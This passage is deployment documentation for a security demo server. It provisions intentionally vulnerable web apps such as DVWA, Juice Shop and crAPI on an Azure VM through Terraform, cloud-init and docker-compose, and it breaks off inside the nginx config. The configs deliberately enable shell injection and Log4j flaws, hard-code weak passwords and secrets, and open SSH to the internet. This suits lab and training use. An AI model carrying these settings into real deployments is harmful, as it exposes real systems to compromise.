Skip to content

Deploy

This repository contains two separate supported offerings:

  • Azure full-origin: nine applications, nginx, and 41 containers on an Azure VM from terraform/.
  • AWS Juice Shop: Juice Shop only, on private Fargate tasks behind an ALB, from terraform/modules/aws-juice-shop/.

The procedures are independent. Do not use Azure outputs or runtime expectations to operate the AWS module, and do not assume feature parity.

Clone the repository and use the root Terraform configuration:

Terminal window
git clone https://github.com/f5-sales-demo/origin-server.git
cd origin-server/terraform
cp terraform.tfvars.example terraform.tfvars
# Edit terraform.tfvars with your Azure subscription ID and SSH key path

The Terraform directory contains 9 files following the Demo Resource Standard:

  • versions.tf — Terraform and provider version constraints (azurerm ~> 4.0, azuread ~> 3.0)
  • providers.tf — Azure RM and Azure AD provider configuration
  • data.tf — Azure AD data sources for deployer auto-resolution
  • locals.tf — Deployer resolution, Azure Cloud Adoption Framework resource naming, standard tags
  • main.tf — Resource group (named rg-origin-server-{environment}-{deployer})
  • variables.tf — All input variables (1 required, 8 optional)
  • network.tf — VNet (10.200.0.0/16), subnet, public IP, NSG (ports 22/80/443/8888), NIC
  • vm.tf — Ubuntu 24.04 VM with cloud-init via templatefile()
  • outputs.tf — 25 outputs (15 standard + 10 component-specific application URLs)

main.tf contains only the resource group:

resource "azurerm_resource_group" "main" {
name = local.name.resource_group
location = var.location
tags = local.tags
}

variables.tf defines all configurable parameters. The deployer identifier is auto-resolved from your Azure AD account — you only need to set subscription_id. The vm_size default is Standard_D16s_v3 (16 vCPU, 64 GiB RAM) sized for 41 Docker containers:

# ---------------------------------------------------------
# General
# ---------------------------------------------------------
variable "subscription_id" {
description = "Azure subscription ID"
type = string
}
variable "deployer" {
description = "Override for deployer identifier (auto-resolved from Azure AD if empty). Required for service principal or managed identity authentication."
type = string
default = ""
}
variable "location" {
description = "Azure region for all resources"
type = string
default = "eastus2"
}
variable "environment" {
description = "Environment label used in resource group naming and tags"
type = string
default = "lab"
}
variable "tags" {
description = "Additional tags merged with standard tags (component, environment, deployer, managed_by)"
type = map(string)
default = {}
}
# ---------------------------------------------------------
# Compute
# ---------------------------------------------------------
variable "vm_size" {
description = "Azure VM size (Standard_D16s_v3: 16 vCPU, 64 GiB RAM for Docker workloads)"
type = string
default = "Standard_D16s_v3"
}
variable "admin_username" {
description = "SSH admin username for the VM"
type = string
default = "azureuser"
}
variable "ssh_public_key_path" {
description = "Path to the SSH public key file"
type = string
default = "~/.ssh/id_ed25519.pub"
}
variable "disk_size_gb" {
description = "OS disk size in GB"
type = number
default = 60
}

network.tf creates the VNet, subnet, public IP, NSG (ports 22/80/443/8888), and NIC. Port 8888 is required for crAPI which runs on a dedicated port:

resource "azurerm_virtual_network" "main" {
name = local.name.virtual_network
address_space = ["10.200.0.0/16"]
location = azurerm_resource_group.main.location
resource_group_name = azurerm_resource_group.main.name
tags = azurerm_resource_group.main.tags
}
resource "azurerm_subnet" "main" {
#checkov:skip=CKV2_AZURE_31:Lab subnet - NSG associated at NIC level
name = local.name.subnet
resource_group_name = azurerm_resource_group.main.name
virtual_network_name = azurerm_virtual_network.main.name
address_prefixes = ["10.200.1.0/24"]
}
resource "azurerm_public_ip" "main" {
name = local.name.public_ip
location = azurerm_resource_group.main.location
resource_group_name = azurerm_resource_group.main.name
allocation_method = "Static"
sku = "Standard"
tags = azurerm_resource_group.main.tags
}
resource "azurerm_network_security_group" "main" {
#checkov:skip=CKV_AZURE_10:Lab NSG - SSH open for demo access
#checkov:skip=CKV_AZURE_160:Lab NSG - HTTP port 80 required for traffic
#checkov:skip=CKV_AZURE_220:Lab NSG - SSH open for demo access
name = local.name.nsg
location = azurerm_resource_group.main.location
resource_group_name = azurerm_resource_group.main.name
security_rule {
name = "AllowHTTP"
priority = 100
direction = "Inbound"
access = "Allow"
protocol = "Tcp"
source_port_range = "*"
destination_port_range = "80"
source_address_prefix = "*"
destination_address_prefix = "*"
}
security_rule {
name = "AllowHTTPS"
priority = 110
direction = "Inbound"
access = "Allow"
protocol = "Tcp"
source_port_range = "*"
destination_port_range = "443"
source_address_prefix = "*"
destination_address_prefix = "*"
}
security_rule {
name = "AllowSSH"
priority = 120
direction = "Inbound"
access = "Allow"
protocol = "Tcp"
source_port_range = "*"
destination_port_range = "22"
source_address_prefix = "*"
destination_address_prefix = "*"
}
security_rule {
name = "AllowCrAPI"
priority = 130
direction = "Inbound"
access = "Allow"
protocol = "Tcp"
source_port_range = "*"
destination_port_range = "8888"
source_address_prefix = "*"
destination_address_prefix = "*"
}
tags = azurerm_resource_group.main.tags
}
resource "azurerm_network_interface" "main" {
#checkov:skip=CKV_AZURE_119:Lab NIC - public IP required for demo access
name = local.name.network_interface
location = azurerm_resource_group.main.location
resource_group_name = azurerm_resource_group.main.name
ip_configuration {
name = "internal"
subnet_id = azurerm_subnet.main.id
private_ip_address_allocation = "Dynamic"
public_ip_address_id = azurerm_public_ip.main.id
}
tags = azurerm_resource_group.main.tags
}
resource "azurerm_network_interface_security_group_association" "main" {
network_interface_id = azurerm_network_interface.main.id
network_security_group_id = azurerm_network_security_group.main.id
}

vm.tf creates the Ubuntu 24.04 VM and passes the cloud-init provisioning script. The 60 GiB Premium SSD provides sufficient space for Docker images and container volumes:

resource "azurerm_linux_virtual_machine" "main" {
#checkov:skip=CKV_AZURE_50:Lab VM - no extensions required
#checkov:skip=CKV_AZURE_93:Lab VM - platform-managed encryption sufficient
name = local.name.virtual_machine
resource_group_name = azurerm_resource_group.main.name
location = azurerm_resource_group.main.location
size = var.vm_size
admin_username = var.admin_username
disable_password_authentication = true
admin_ssh_key {
username = var.admin_username
public_key = file(pathexpand(var.ssh_public_key_path))
}
network_interface_ids = [azurerm_network_interface.main.id]
os_disk {
caching = "ReadWrite"
storage_account_type = "Premium_LRS"
disk_size_gb = var.disk_size_gb
}
source_image_reference {
publisher = "Canonical"
offer = "ubuntu-24_04-lts"
sku = "server"
version = "latest"
}
custom_data = base64encode(templatefile("${path.module}/cloud-init.yaml", {}))
tags = azurerm_resource_group.main.tags
}

cloud-init.yaml provisions the VM with a hardened configuration. A shared helper library (/usr/local/lib/cloud-init-helpers.sh) provides retry logic on all network operations and progress logging to /var/log/cloud-init-progress.log. Active health-check polling replaces fixed-duration sleep for container readiness. It provisions:

  • Kernel tuning: TCP keepalive, TIME_WAIT reuse, 2M tw_buckets, 64K somaxconn
  • nginx: 8 upstream blocks with sticky sessions (ip_hash, cookie hash), keepalive pools (64—128), proxy cache for Juice Shop, error_log crit level
  • Docker Compose: 41 containers across 9 applications with per-container CPU/memory limits
  • Custom builds: DVWA-FPM (php-fpm with pm.max_requests=200), CSD Demo (Flask + gunicorn), RESTaurant (cloned from GitHub)
  • Worker recycling: uvicorn —limit-max-requests 200 (RESTaurant), pm.max_requests 200 (DVWA-FPM) to prevent memory leaks under sustained load
#cloud-config
package_update: true
package_upgrade: true
bootcmd:
- mkdir -p /var/cache/nginx/juice_shop
- chown www-data:www-data /var/cache/nginx/juice_shop 2>/dev/null || true
packages:
- ca-certificates
- curl
- gnupg
- nginx
- sysstat
- htop
- iotop
- dool
- iftop
write_files:
- path: /etc/sysctl.d/99-origin-server.conf
content: |
# Origin server performance tuning for concurrent web traffic
net.core.somaxconn = 65535
net.ipv4.tcp_max_syn_backlog = 65535
net.core.netdev_max_backlog = 65535
net.ipv4.ip_local_port_range = 1024 65535
net.ipv4.tcp_tw_reuse = 1
net.ipv4.tcp_fin_timeout = 10
net.ipv4.tcp_keepalive_time = 60
net.ipv4.tcp_keepalive_intvl = 10
net.ipv4.tcp_keepalive_probes = 6
net.ipv4.tcp_max_tw_buckets = 2000000
net.ipv4.tcp_syncookies = 1
net.core.rmem_max = 16777216
net.core.wmem_max = 16777216
net.ipv4.tcp_rmem = 4096 87380 16777216
net.ipv4.tcp_wmem = 4096 65536 16777216
- path: /etc/nginx/nginx.conf
content: |
user www-data;
worker_processes auto;
worker_rlimit_nofile 65535;
pid /run/nginx.pid;
error_log /var/log/nginx/error.log crit;
include /etc/nginx/modules-enabled/*.conf;
events {
worker_connections 16384;
multi_accept on;
use epoll;
}
http {
sendfile on;
tcp_nopush on;
tcp_nodelay on;
types_hash_max_size 2048;
server_tokens off;
include /etc/nginx/mime.types;
default_type application/octet-stream;
keepalive_timeout 65;
keepalive_requests 1000;
client_body_timeout 10;
client_header_timeout 10;
send_timeout 10;
reset_timedout_connection on;
proxy_buffer_size 32k;
proxy_buffers 16 32k;
proxy_busy_buffers_size 64k;
proxy_connect_timeout 5;
proxy_read_timeout 30;
proxy_send_timeout 10;
access_log off;
gzip on;
gzip_vary on;
gzip_proxied any;
gzip_comp_level 4;
gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;
proxy_cache_path /var/cache/nginx/juice_shop levels=1:2 keys_zone=juice_cache:10m max_size=100m inactive=5m use_temp_path=off;
upstream juice_shop {
server 127.0.0.1:3001 max_fails=3 fail_timeout=10s;
server 127.0.0.1:3002 max_fails=3 fail_timeout=10s;
server 127.0.0.1:3003 max_fails=3 fail_timeout=10s;
server 127.0.0.1:3004 max_fails=3 fail_timeout=10s;
hash $cookie_token consistent;
keepalive 64;
}
upstream dvwa {
server 127.0.0.1:8101 max_fails=3 fail_timeout=10s;
server 127.0.0.1:8102 max_fails=3 fail_timeout=10s;
server 127.0.0.1:8103 max_fails=3 fail_timeout=10s;
server 127.0.0.1:8104 max_fails=3 fail_timeout=10s;
hash $cookie_PHPSESSID consistent;
keepalive 128;
}
upstream vampi {
server 127.0.0.1:5101 max_fails=3 fail_timeout=10s;
server 127.0.0.1:5102 max_fails=3 fail_timeout=10s;
server 127.0.0.1:5103 max_fails=3 fail_timeout=10s;
server 127.0.0.1:5104 max_fails=3 fail_timeout=10s;
ip_hash;
keepalive 128;
}
upstream httpbin_up {
server 127.0.0.1:8201 max_fails=3 fail_timeout=10s;
server 127.0.0.1:8202 max_fails=3 fail_timeout=10s;
server 127.0.0.1:8203 max_fails=3 fail_timeout=10s;
server 127.0.0.1:8204 max_fails=3 fail_timeout=10s;
keepalive 128;
}
upstream whoami_up {
server 127.0.0.1:8082 max_fails=3 fail_timeout=10s;
server 127.0.0.1:8083 max_fails=3 fail_timeout=10s;
server 127.0.0.1:8084 max_fails=3 fail_timeout=10s;
server 127.0.0.1:8085 max_fails=3 fail_timeout=10s;
keepalive 128;
}
upstream csd_demo {
server 127.0.0.1:5001 max_fails=3 fail_timeout=10s;
server 127.0.0.1:5002 max_fails=3 fail_timeout=10s;
server 127.0.0.1:5003 max_fails=3 fail_timeout=10s;
server 127.0.0.1:5004 max_fails=3 fail_timeout=10s;
ip_hash;
keepalive 128;
}
upstream dvga_graphql {
server 127.0.0.1:5201 max_fails=3 fail_timeout=10s;
server 127.0.0.1:5202 max_fails=3 fail_timeout=10s;
server 127.0.0.1:5203 max_fails=3 fail_timeout=10s;
server 127.0.0.1:5204 max_fails=3 fail_timeout=10s;
ip_hash;
keepalive 128;
}
upstream restaurant {
server 127.0.0.1:8301 max_fails=3 fail_timeout=10s;
server 127.0.0.1:8302 max_fails=3 fail_timeout=10s;
server 127.0.0.1:8303 max_fails=3 fail_timeout=10s;
server 127.0.0.1:8304 max_fails=3 fail_timeout=10s;
keepalive 128;
}
include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*;
}
- path: /etc/systemd/system/nginx.service.d/limits.conf
content: |
[Service]
LimitNOFILE=65535
LimitNOFILESoft=65535
- path: /etc/logrotate.d/nginx-origin
content: |
/var/log/nginx/*.log {
daily
rotate 7
size 500M
compress
delaycompress
missingok
notifempty
sharedscripts
postrotate
nginx -s reopen
endscript
}
- path: /etc/systemd/journald.conf.d/origin-server.conf
content: |
[Journal]
SystemMaxUse=200M
RuntimeMaxUse=50M
- path: /opt/origin-server/docker-compose.yml
content: |
services:
juice-shop-1:
image: bkimminich/juice-shop:latest
container_name: juice-shop-1
restart: unless-stopped
ports:
- "127.0.0.1:3001:3000"
environment:
- NODE_ENV=ctf
deploy:
resources:
limits:
cpus: "1.0"
memory: 1024M
juice-shop-2:
image: bkimminich/juice-shop:latest
container_name: juice-shop-2
restart: unless-stopped
ports:
- "127.0.0.1:3002:3000"
environment:
- NODE_ENV=ctf
deploy:
resources:
limits:
cpus: "1.0"
memory: 1024M
juice-shop-3:
image: bkimminich/juice-shop:latest
container_name: juice-shop-3
restart: unless-stopped
ports:
- "127.0.0.1:3003:3000"
environment:
- NODE_ENV=ctf
deploy:
resources:
limits:
cpus: "1.0"
memory: 1024M
juice-shop-4:
image: bkimminich/juice-shop:latest
container_name: juice-shop-4
restart: unless-stopped
ports:
- "127.0.0.1:3004:3000"
environment:
- NODE_ENV=ctf
deploy:
resources:
limits:
cpus: "1.0"
memory: 1024M
dvwa-1:
build: ./dvwa-fpm/
container_name: dvwa-1
restart: unless-stopped
depends_on:
- dvwa-db
ports:
- "127.0.0.1:8101:80"
environment:
- DB_SERVER=dvwa-db
- DB_DATABASE=dvwa
- DB_USER=dvwa
- DB_PASSWORD=p@ssw0rd
deploy:
resources:
limits:
cpus: "0.5"
memory: 512M
dvwa-2:
build: ./dvwa-fpm/
container_name: dvwa-2
restart: unless-stopped
depends_on:
- dvwa-db
ports:
- "127.0.0.1:8102:80"
environment:
- DB_SERVER=dvwa-db
- DB_DATABASE=dvwa
- DB_USER=dvwa
- DB_PASSWORD=p@ssw0rd
deploy:
resources:
limits:
cpus: "0.5"
memory: 512M
dvwa-3:
build: ./dvwa-fpm/
container_name: dvwa-3
restart: unless-stopped
depends_on:
- dvwa-db
ports:
- "127.0.0.1:8103:80"
environment:
- DB_SERVER=dvwa-db
- DB_DATABASE=dvwa
- DB_USER=dvwa
- DB_PASSWORD=p@ssw0rd
deploy:
resources:
limits:
cpus: "0.5"
memory: 512M
dvwa-4:
build: ./dvwa-fpm/
container_name: dvwa-4
restart: unless-stopped
depends_on:
- dvwa-db
ports:
- "127.0.0.1:8104:80"
environment:
- DB_SERVER=dvwa-db
- DB_DATABASE=dvwa
- DB_USER=dvwa
- DB_PASSWORD=p@ssw0rd
deploy:
resources:
limits:
cpus: "0.5"
memory: 512M
dvwa-db:
image: mariadb:10.11
container_name: dvwa-db
restart: unless-stopped
environment:
- MYSQL_ROOT_PASSWORD=root_password
- MYSQL_DATABASE=dvwa
- MYSQL_USER=dvwa
- MYSQL_PASSWORD=p@ssw0rd
- MARIADB_INNODB_BUFFER_POOL_SIZE=256M
- MARIADB_MAX_CONNECTIONS=400
- MARIADB_INNODB_LOG_FILE_SIZE=100M
volumes:
- dvwa-db-data:/var/lib/mysql
deploy:
resources:
limits:
cpus: "1.0"
memory: 768M
vampi-1:
image: erev0s/vampi:latest
container_name: vampi-1
restart: unless-stopped
ports:
- "127.0.0.1:5101:5000"
entrypoint: ["/bin/sh", "/vampi/entrypoint.sh"]
volumes:
- ./vampi-gunicorn.sh:/vampi/entrypoint.sh:ro
deploy:
resources:
limits:
cpus: "0.5"
memory: 512M
vampi-2:
image: erev0s/vampi:latest
container_name: vampi-2
restart: unless-stopped
ports:
- "127.0.0.1:5102:5000"
entrypoint: ["/bin/sh", "/vampi/entrypoint.sh"]
volumes:
- ./vampi-gunicorn.sh:/vampi/entrypoint.sh:ro
deploy:
resources:
limits:
cpus: "0.5"
memory: 512M
vampi-3:
image: erev0s/vampi:latest
container_name: vampi-3
restart: unless-stopped
ports:
- "127.0.0.1:5103:5000"
entrypoint: ["/bin/sh", "/vampi/entrypoint.sh"]
volumes:
- ./vampi-gunicorn.sh:/vampi/entrypoint.sh:ro
deploy:
resources:
limits:
cpus: "0.5"
memory: 512M
vampi-4:
image: erev0s/vampi:latest
container_name: vampi-4
restart: unless-stopped
ports:
- "127.0.0.1:5104:5000"
entrypoint: ["/bin/sh", "/vampi/entrypoint.sh"]
volumes:
- ./vampi-gunicorn.sh:/vampi/entrypoint.sh:ro
deploy:
resources:
limits:
cpus: "0.5"
memory: 512M
httpbin-1:
image: kennethreitz/httpbin:latest
container_name: httpbin-1
restart: unless-stopped
ports:
- "127.0.0.1:8201:80"
command: ["gunicorn", "-b", "0.0.0.0:80", "httpbin:app", "-k", "gevent", "-w", "4", "--timeout", "30"]
deploy:
resources:
limits:
cpus: "1.0"
memory: 256M
httpbin-2:
image: kennethreitz/httpbin:latest
container_name: httpbin-2
restart: unless-stopped
ports:
- "127.0.0.1:8202:80"
command: ["gunicorn", "-b", "0.0.0.0:80", "httpbin:app", "-k", "gevent", "-w", "4", "--timeout", "30"]
deploy:
resources:
limits:
cpus: "1.0"
memory: 256M
httpbin-3:
image: kennethreitz/httpbin:latest
container_name: httpbin-3
restart: unless-stopped
ports:
- "127.0.0.1:8203:80"
command: ["gunicorn", "-b", "0.0.0.0:80", "httpbin:app", "-k", "gevent", "-w", "4", "--timeout", "30"]
deploy:
resources:
limits:
cpus: "1.0"
memory: 256M
httpbin-4:
image: kennethreitz/httpbin:latest
container_name: httpbin-4
restart: unless-stopped
ports:
- "127.0.0.1:8204:80"
command: ["gunicorn", "-b", "0.0.0.0:80", "httpbin:app", "-k", "gevent", "-w", "4", "--timeout", "30"]
deploy:
resources:
limits:
cpus: "1.0"
memory: 256M
whoami-1:
image: traefik/whoami:latest
container_name: whoami-1
restart: unless-stopped
ports:
- "127.0.0.1:8082:80"
deploy:
resources:
limits:
cpus: "0.25"
memory: 64M
whoami-2:
image: traefik/whoami:latest
container_name: whoami-2
restart: unless-stopped
ports:
- "127.0.0.1:8083:80"
deploy:
resources:
limits:
cpus: "0.25"
memory: 64M
whoami-3:
image: traefik/whoami:latest
container_name: whoami-3
restart: unless-stopped
ports:
- "127.0.0.1:8084:80"
deploy:
resources:
limits:
cpus: "0.25"
memory: 64M
whoami-4:
image: traefik/whoami:latest
container_name: whoami-4
restart: unless-stopped
ports:
- "127.0.0.1:8085:80"
deploy:
resources:
limits:
cpus: "0.25"
memory: 64M
csd-demo-1:
build: ./csd-demo/
container_name: csd-demo-1
restart: unless-stopped
ports:
- "127.0.0.1:5001:5001"
deploy:
resources:
limits:
cpus: "0.5"
memory: 256M
csd-demo-2:
build: ./csd-demo/
container_name: csd-demo-2
restart: unless-stopped
ports:
- "127.0.0.1:5002:5001"
deploy:
resources:
limits:
cpus: "0.5"
memory: 256M
csd-demo-3:
build: ./csd-demo/
container_name: csd-demo-3
restart: unless-stopped
ports:
- "127.0.0.1:5003:5001"
deploy:
resources:
limits:
cpus: "0.5"
memory: 256M
csd-demo-4:
build: ./csd-demo/
container_name: csd-demo-4
restart: unless-stopped
ports:
- "127.0.0.1:5004:5001"
deploy:
resources:
limits:
cpus: "0.5"
memory: 256M
dvga-1:
image: dolevf/dvga:latest
container_name: dvga-1
restart: unless-stopped
ports:
- "127.0.0.1:5201:5013"
environment:
- WEB_HOST=0.0.0.0
deploy:
resources:
limits:
cpus: "0.5"
memory: 384M
dvga-2:
image: dolevf/dvga:latest
container_name: dvga-2
restart: unless-stopped
ports:
- "127.0.0.1:5202:5013"
environment:
- WEB_HOST=0.0.0.0
deploy:
resources:
limits:
cpus: "0.5"
memory: 384M
dvga-3:
image: dolevf/dvga:latest
container_name: dvga-3
restart: unless-stopped
ports:
- "127.0.0.1:5203:5013"
environment:
- WEB_HOST=0.0.0.0
deploy:
resources:
limits:
cpus: "0.5"
memory: 384M
dvga-4:
image: dolevf/dvga:latest
container_name: dvga-4
restart: unless-stopped
ports:
- "127.0.0.1:5204:5013"
environment:
- WEB_HOST=0.0.0.0
deploy:
resources:
limits:
cpus: "0.5"
memory: 384M
restaurant-db:
image: postgres:15.4-alpine
container_name: restaurant-db
restart: unless-stopped
environment:
- POSTGRES_USER=admin
- POSTGRES_PASSWORD=password
- POSTGRES_DB=restaurant
- PGDATA=/var/lib/postgresql/data/pgdata
volumes:
- restaurant-db-data:/var/lib/postgresql/data
healthcheck:
test: ["CMD-SHELL", "pg_isready -U admin -d restaurant"]
interval: 5s
timeout: 5s
retries: 10
deploy:
resources:
limits:
cpus: "0.5"
memory: 512M
restaurant-1:
build: ./restaurant/
container_name: restaurant-1
restart: unless-stopped
ports:
- "127.0.0.1:8301:8091"
command: ["sh", "-c", "alembic upgrade head && uvicorn main:app --host 0.0.0.0 --port 8091 --root-path /restaurant --limit-max-requests 200"]
environment:
- POSTGRES_USER=admin
- POSTGRES_PASSWORD=password
- POSTGRES_SERVER=restaurant-db
- POSTGRES_PORT=5432
- POSTGRES_DB=restaurant
depends_on:
restaurant-db:
condition: service_healthy
cap_add:
- SYS_ADMIN
deploy:
resources:
limits:
cpus: "0.5"
memory: 384M
restaurant-2:
build: ./restaurant/
container_name: restaurant-2
restart: unless-stopped
ports:
- "127.0.0.1:8302:8091"
command: ["sh", "-c", "alembic upgrade head && uvicorn main:app --host 0.0.0.0 --port 8091 --root-path /restaurant --limit-max-requests 200"]
environment:
- POSTGRES_USER=admin
- POSTGRES_PASSWORD=password
- POSTGRES_SERVER=restaurant-db
- POSTGRES_PORT=5432
- POSTGRES_DB=restaurant
depends_on:
restaurant-db:
condition: service_healthy
cap_add:
- SYS_ADMIN
deploy:
resources:
limits:
cpus: "0.5"
memory: 384M
restaurant-3:
build: ./restaurant/
container_name: restaurant-3
restart: unless-stopped
ports:
- "127.0.0.1:8303:8091"
command: ["sh", "-c", "alembic upgrade head && uvicorn main:app --host 0.0.0.0 --port 8091 --root-path /restaurant --limit-max-requests 200"]
environment:
- POSTGRES_USER=admin
- POSTGRES_PASSWORD=password
- POSTGRES_SERVER=restaurant-db
- POSTGRES_PORT=5432
- POSTGRES_DB=restaurant
depends_on:
restaurant-db:
condition: service_healthy
cap_add:
- SYS_ADMIN
deploy:
resources:
limits:
cpus: "0.5"
memory: 384M
restaurant-4:
build: ./restaurant/
container_name: restaurant-4
restart: unless-stopped
ports:
- "127.0.0.1:8304:8091"
command: ["sh", "-c", "alembic upgrade head && uvicorn main:app --host 0.0.0.0 --port 8091 --root-path /restaurant --limit-max-requests 200"]
environment:
- POSTGRES_USER=admin
- POSTGRES_PASSWORD=password
- POSTGRES_SERVER=restaurant-db
- POSTGRES_PORT=5432
- POSTGRES_DB=restaurant
depends_on:
restaurant-db:
condition: service_healthy
cap_add:
- SYS_ADMIN
deploy:
resources:
limits:
cpus: "0.5"
memory: 384M
crapi-web:
image: crapi/crapi-web:latest
container_name: crapi-web
restart: unless-stopped
ports:
- "127.0.0.1:18888:80"
environment:
- COMMUNITY_SERVICE=crapi-community:8087
- IDENTITY_SERVICE=crapi-identity:8080
- WORKSHOP_SERVICE=crapi-workshop:8000
- CHATBOT_SERVICE=crapi-identity:8080
- MAILHOG_WEB_SERVICE=crapi-mailhog:8025
- TLS_ENABLED=false
depends_on:
crapi-identity:
condition: service_healthy
crapi-community:
condition: service_healthy
crapi-workshop:
condition: service_healthy
healthcheck:
test: ["CMD", "curl", "-f", "http://0.0.0.0:80/health"]
interval: 15s
timeout: 15s
retries: 15
deploy:
resources:
limits:
cpus: "0.3"
memory: 128M
crapi-identity:
image: crapi/crapi-identity:latest
container_name: crapi-identity
restart: unless-stopped
environment:
- LOG_LEVEL=INFO
- DB_NAME=crapi
- DB_USER=admin
- DB_PASSWORD=crapisecretpassword
- DB_HOST=crapi-postgres
- DB_PORT=5432
- SERVER_PORT=8080
- ENABLE_SHELL_INJECTION=true
- JWT_SECRET=crapi
- JWT_EXPIRATION=604800000
- MAILHOG_HOST=crapi-mailhog
- MAILHOG_PORT=1025
- MAILHOG_DOMAIN=example.com
- SMTP_HOST=crapi-mailhog
- SMTP_PORT=1025
- SMTP_EMAIL=user@example.com
- SMTP_PASS=xxxxxxxxxxxxxx
- SMTP_FROM=no-reply@example.com
- SMTP_AUTH=false
- SMTP_STARTTLS=false
- ENABLE_LOG4J=true
- API_GATEWAY_URL=https://api.mypremiumdealership.com
- MONGO_DB_HOST=crapi-mongo
- MONGO_DB_PORT=27017
- MONGO_DB_USER=admin
- MONGO_DB_PASSWORD=crapisecretpassword
- MONGO_DB_NAME=crapi
- TLS_ENABLED=false
depends_on:
crapi-postgres:
condition: service_healthy
crapi-mongo:
condition: service_healthy
crapi-mailhog:
condition: service_healthy
healthcheck:
test: ["CMD", "/app/health.sh"]
interval: 15s
timeout: 15s
retries: 15
deploy:
resources:
limits:
cpus: "0.8"
memory: 1024M
crapi-community:
image: crapi/crapi-community:latest
container_name: crapi-community
restart: unless-stopped
environment:
- LOG_LEVEL=INFO
- IDENTITY_SERVICE=crapi-identity:8080
- DB_NAME=crapi
- DB_USER=admin
- DB_PASSWORD=crapisecretpassword
- DB_HOST=crapi-postgres
- DB_PORT=5432
- SERVER_PORT=8087
- MONGO_DB_HOST=crapi-mongo
- MONGO_DB_PORT=27017
- MONGO_DB_USER=admin
- MONGO_DB_PASSWORD=crapisecretpassword
- MONGO_DB_NAME=crapi
- TLS_ENABLED=false
depends_on:
crapi-mongo:
condition: service_healthy
crapi-identity:
condition: service_healthy
healthcheck:
test: ["CMD", "/app/health.sh"]
interval: 15s
timeout: 15s
retries: 15
deploy:
resources:
limits:
cpus: "0.3"
memory: 192M
crapi-workshop:
image: crapi/crapi-workshop:latest
container_name: crapi-workshop
restart: unless-stopped
environment:
- LOG_LEVEL=INFO
- IDENTITY_SERVICE=crapi-identity:8080
- DB_NAME=crapi
- DB_USER=admin
- DB_PASSWORD=crapisecretpassword
- DB_HOST=crapi-postgres
- DB_PORT=5432
- SERVER_PORT=8000
- MONGO_DB_HOST=crapi-mongo
- MONGO_DB_PORT=27017
- MONGO_DB_USER=admin
- MONGO_DB_PASSWORD=crapisecretpassword
- MONGO_DB_NAME=crapi
- SECRET_KEY=crapi
- API_GATEWAY_URL=https://api.mypremiumdealership.com
- TLS_ENABLED=false
- FILES_LIMIT=1000
- GUNICORN_WORKERS=4
depends_on:
crapi-postgres:
condition: service_healthy
crapi-mongo:
condition: service_healthy
crapi-identity:
condition: service_healthy
crapi-community:
condition: service_healthy
healthcheck:
test: ["CMD", "/app/health.sh"]
interval: 15s
timeout: 15s
retries: 15
deploy:
resources:
limits:
cpus: "1.0"
memory: 512M
crapi-postgres:
image: postgres:14
container_name: crapi-postgres
restart: unless-stopped
environment:
- POSTGRES_USER=admin
- POSTGRES_PASSWORD=crapisecretpassword
- POSTGRES_DB=crapi
volumes:
- crapi-postgres-data:/var/lib/postgresql/data
healthcheck:
test: ["CMD-SHELL", "pg_isready"]
interval: 15s
timeout: 15s
retries: 10
deploy:
resources:
limits:
cpus: "0.5"
memory: 256M
crapi-mongo:
image: mongo:4.4
container_name: crapi-mongo
restart: unless-stopped
environment:
- MONGO_INITDB_ROOT_USERNAME=admin
- MONGO_INITDB_ROOT_PASSWORD=crapisecretpassword
volumes:
- crapi-mongo-data:/data/db
healthcheck:
test: ["CMD", "mongo", "--eval", "db.runCommand(\"ping\").ok", "--quiet"]
interval: 15s
timeout: 15s
retries: 10
start_period: 20s
deploy:
resources:
limits:
cpus: "0.3"
memory: 256M
crapi-mailhog:
image: crapi/mailhog:latest
container_name: crapi-mailhog
restart: unless-stopped
ports:
- "127.0.0.1:18025:8025"
environment:
- MH_MONGO_URI=admin:crapisecretpassword@crapi-mongo:27017
- MH_STORAGE=mongodb
depends_on:
crapi-mongo:
condition: service_healthy
healthcheck:
test: ["CMD", "nc", "-z", "localhost", "8025"]
interval: 15s
timeout: 15s
retries: 10
deploy:
resources:
limits:
cpus: "0.3"
memory: 128M
volumes:
dvwa-db-data:
restaurant-db-data:
crapi-postgres-data:
crapi-mongo-data:
- path: /etc/nginx/sites-available/origin-server
content: |
server {
listen 80 reuseport backlog=4096;
server_name _;
location /health {
access_log off;
return 200 '{ "status":"healthy","component":"origin-server","applications":["juice-shop","dvwa","vampi","httpbin","whoami","csd-demo","dvga","restaurant","crapi"] }' ;
add_header Content-Type application/json;
}
location / {
root /var/www/html;
index index.html;
}
location /juice-shop/ {
proxy_pass http://juice_shop/;
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header X-Forwarded-Prefix /juice-shop;
proxy_cache juice_cache;
proxy_cache_valid 200 60s;
proxy_cache_key "$request_uri";
add_header X-Cache-Status $upstream_cache_status;
}
location /dvwa/ {
proxy_pass http://dvwa/;
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
location /vampi/ {
proxy_pass http://vampi/;
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
location /httpbin/ {
proxy_pass http://httpbin_up/;
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
location /whoami/ {
proxy_pass http://whoami_up/;
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
location /csd-demo/ {
proxy_pass http://csd_demo/;
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
location /dvga/ {
proxy_pass http://dvga_graphql/;
proxy_http_version 1.1;
